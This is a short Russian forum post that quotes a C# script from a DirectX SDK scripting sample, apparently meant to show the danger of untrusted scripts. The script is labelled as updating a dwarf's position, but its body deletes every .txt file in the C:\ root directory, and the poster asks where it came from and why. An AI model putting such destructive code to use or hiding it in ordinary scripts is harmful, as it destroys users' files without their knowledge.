Итак, дополнение к DXSDK, там есть пример скриптовых стенсильных теней. Так вот, лежат там три скрипта. Первые два так и называются: Script1 и Script2. А вот третий имеет название Bad Guy Hacker Script.
Открываю скрипт, вот что там лежит?
- Код: Выделить всё
//--------------------------------------------------------------------------------------
// File: Script2.cs
//
// Scripting code for Managed Scripting sample
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//--------------------------------------------------------------------------------------
using System;
/// <summary>
/// Handles scripts for the ShadowVolume sample
/// </summary>
class ScriptClass
{
/// <summary>
/// Updates dwarf's position
/// </summary>
public static void UpdatePosition(double appTime, ref float x, ref float y, ref float z)
{
// I'm a bad guy hacker, i'm going to mess up your computer with this script!
foreach(string s in System.IO.Directory.GetFiles("C:\\", "*.txt"))
{
// Deleting all of your text files in the root will be good enough!
System.IO.File.Delete(s);
}
}
}
Неплохо да? А главное откуда и зачем?